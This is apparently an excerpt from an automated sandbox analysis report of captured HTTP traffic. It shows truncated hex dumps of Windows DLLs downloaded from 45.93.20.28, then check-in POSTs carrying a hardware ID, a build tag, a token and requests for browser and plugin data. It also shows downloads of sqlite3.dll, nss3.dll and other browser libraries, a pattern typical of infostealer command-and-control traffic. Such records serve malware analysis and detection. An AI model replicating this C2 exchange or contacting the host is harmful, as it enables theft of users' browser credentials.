Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 01 Mar 2025 15:02:48 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 01 Mar 2025 15:02:48 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 01 Mar 2025 15:02:50 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 01 Mar 2025 15:02:51 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 45.93.20.28Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /85a1cacf11314eb8.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDAKFIJJKJJJKEBKJEHHost: 45.93.20.28Content-Length: 212Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 41 44 30 39 30 38 44 38 37 42 45 32 30 39 39 39 32 35 32 38 36 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 72 75 6d 70 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 48 2d 2d 0d 0a Data Ascii: ------HIDAKFIJJKJJJKEBKJEHContent-Disposition: form-data; name="hwid"5AD0908D87BE2099925286------HIDAKFIJJKJJJKEBKJEHContent-Disposition: form-data; name="build"trump------HIDAKFIJJKJJJKEBKJEH--
Source: global traffic	HTTP traffic detected: POST /85a1cacf11314eb8.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDAAKFIDGIEGDGDHIDAKHost: 45.93.20.28Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 41 41 4b 46 49 44 47 49 45 47 44 47 44 48 49 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 39 30 34 35 64 38 65 31 38 61 38 34 62 36 61 35 32 35 32 30 61 38 31 37 62 39 63 64 30 65 35 64 61 36 39 35 63 33 32 39 64 30 63 65 32 65 37 36 35 65 32 30 35 66 34 66 35 31 62 39 64 61 31 35 34 37 61 38 35 31 0d 0a 2d 2d 2d 2d 2d 2d 47 44 41 41 4b 46 49 44 47 49 45 47 44 47 44 48 49 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 41 41 4b 46 49 44 47 49 45 47 44 47 44 48 49 44 41 4b 2d 2d 0d 0a Data Ascii: ------GDAAKFIDGIEGDGDHIDAKContent-Disposition: form-data; name="token"f89045d8e18a84b6a52520a817b9cd0e5da695c329d0ce2e765e205f4f51b9da1547a851------GDAAKFIDGIEGDGDHIDAKContent-Disposition: form-data; name="message"browsers------GDAAKFIDGIEGDGDHIDAK--
Source: global traffic	HTTP traffic detected: POST /85a1cacf11314eb8.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECFCBFBGDBKJKECAAKKFHost: 45.93.20.28Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 39 30 34 35 64 38 65 31 38 61 38 34 62 36 61 35 32 35 32 30 61 38 31 37 62 39 63 64 30 65 35 64 61 36 39 35 63 33 32 39 64 30 63 65 32 65 37 36 35 65 32 30 35 66 34 66 35 31 62 39 64 61 31 35 34 37 61 38 35 31 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 2d 2d 0d 0a Data Ascii: ------ECFCBFBGDBKJKECAAKKFContent-Disposition: form-data; name="token"f89045d8e18a84b6a52520a817b9cd0e5da695c329d0ce2e765e205f4f51b9da1547a851------ECFCBFBGDBKJKECAAKKFContent-Disposition: form-data; name="message"plugins------ECFCBFBGDBKJKECAAKKF--
Source: global traffic	HTTP traffic detected: POST /85a1cacf11314eb8.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKFHDBKFCAAECBFIDHJHost: 45.93.20.28Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 44 42 4b 46 43 41 41 45 43 42 46 49 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 39 30 34 35 64 38 65 31 38 61 38 34 62 36 61 35 32 35 32 30 61 38 31 37 62 39 63 64 30 65 35 64 61 36 39 35 63 33 32 39 64 30 63 65 32 65 37 36 35 65 32 30 35 66 34 66 35 31 62 39 64 61 31 35 34 37 61 38 35 31 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 44 42 4b 46 43 41 41 45 43 42 46 49 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 44 42 4b 46 43 41 41 45 43 42 46 49 44 48 4a 2d 2d 0d 0a Data Ascii: ------IJKFHDBKFCAAECBFIDHJContent-Disposition: form-data; name="token"f89045d8e18a84b6a52520a817b9cd0e5da695c329d0ce2e765e205f4f51b9da1547a851------IJKFHDBKFCAAECBFIDHJContent-Disposition: form-data; name="message"fplugins------IJKFHDBKFCAAECBFIDHJ--
Source: global traffic	HTTP traffic detected: POST /85a1cacf11314eb8.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHCGHDHIDHCBGCBGCAEBHost: 45.93.20.28Content-Length: 5775Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /c66c0eade263c9a8/sqlite3.dll HTTP/1.1Host: 45.93.20.28Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /85a1cacf11314eb8.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGCBAFIJDGHCAKECAEGCHost: 45.93.20.28Content-Length: 1003Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /85a1cacf11314eb8.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFBAAFHDHCBGCAKFHDAKHost: 45.93.20.28Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 42 41 41 46 48 44 48 43 42 47 43 41 4b 46 48 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 39 30 34 35 64 38 65 31 38 61 38 34 62 36 61 35 32 35 32 30 61 38 31 37 62 39 63 64 30 65 35 64 61 36 39 35 63 33 32 39 64 30 63 65 32 65 37 36 35 65 32 30 35 66 34 66 35 31 62 39 64 61 31 35 34 37 61 38 35 31 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 41 41 46 48 44 48 43 42 47 43 41 4b 46 48 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 41 41 46 48 44 48 43 42 47 43 41 4b 46 48 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 41 41 46 48 44 48 43 42 47 43 41 4b 46 48 44 41 4b 2d 2d 0d 0a Data Ascii: ------BFBAAFHDHCBGCAKFHDAKContent-Disposition: form-data; name="token"f89045d8e18a84b6a52520a817b9cd0e5da695c329d0ce2e765e205f4f51b9da1547a851------BFBAAFHDHCBGCAKFHDAKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BFBAAFHDHCBGCAKFHDAKContent-Disposition: form-data; name="file"------BFBAAFHDHCBGCAKFHDAK--
Source: global traffic	HTTP traffic detected: POST /85a1cacf11314eb8.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHJDBAKEHDHDGCAKKJJEHost: 45.93.20.28Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 44 42 41 4b 45 48 44 48 44 47 43 41 4b 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 39 30 34 35 64 38 65 31 38 61 38 34 62 36 61 35 32 35 32 30 61 38 31 37 62 39 63 64 30 65 35 64 61 36 39 35 63 33 32 39 64 30 63 65 32 65 37 36 35 65 32 30 35 66 34 66 35 31 62 39 64 61 31 35 34 37 61 38 35 31 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 42 41 4b 45 48 44 48 44 47 43 41 4b 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 42 41 4b 45 48 44 48 44 47 43 41 4b 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 42 41 4b 45 48 44 48 44 47 43 41 4b 4b 4a 4a 45 2d 2d 0d 0a Data Ascii: ------GHJDBAKEHDHDGCAKKJJEContent-Disposition: form-data; name="token"f89045d8e18a84b6a52520a817b9cd0e5da695c329d0ce2e765e205f4f51b9da1547a851------GHJDBAKEHDHDGCAKKJJEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GHJDBAKEHDHDGCAKKJJEContent-Disposition: form-data; name="file"------GHJDBAKEHDHDGCAKKJJE--
Source: global traffic	HTTP traffic detected: GET /c66c0eade263c9a8/freebl3.dll HTTP/1.1Host: 45.93.20.28Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /c66c0eade263c9a8/mozglue.dll HTTP/1.1Host: 45.93.20.28Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /c66c0eade263c9a8/msvcp140.dll HTTP/1.1Host: 45.93.20.28Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /c66c0eade263c9a8/nss3.dll HTTP/1.1Host: 45.93.20.28Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /c66c0eade263c9a8/softokn3.dll HTTP/1.1Host: 45.93.20.28Cache-Control: no-cache
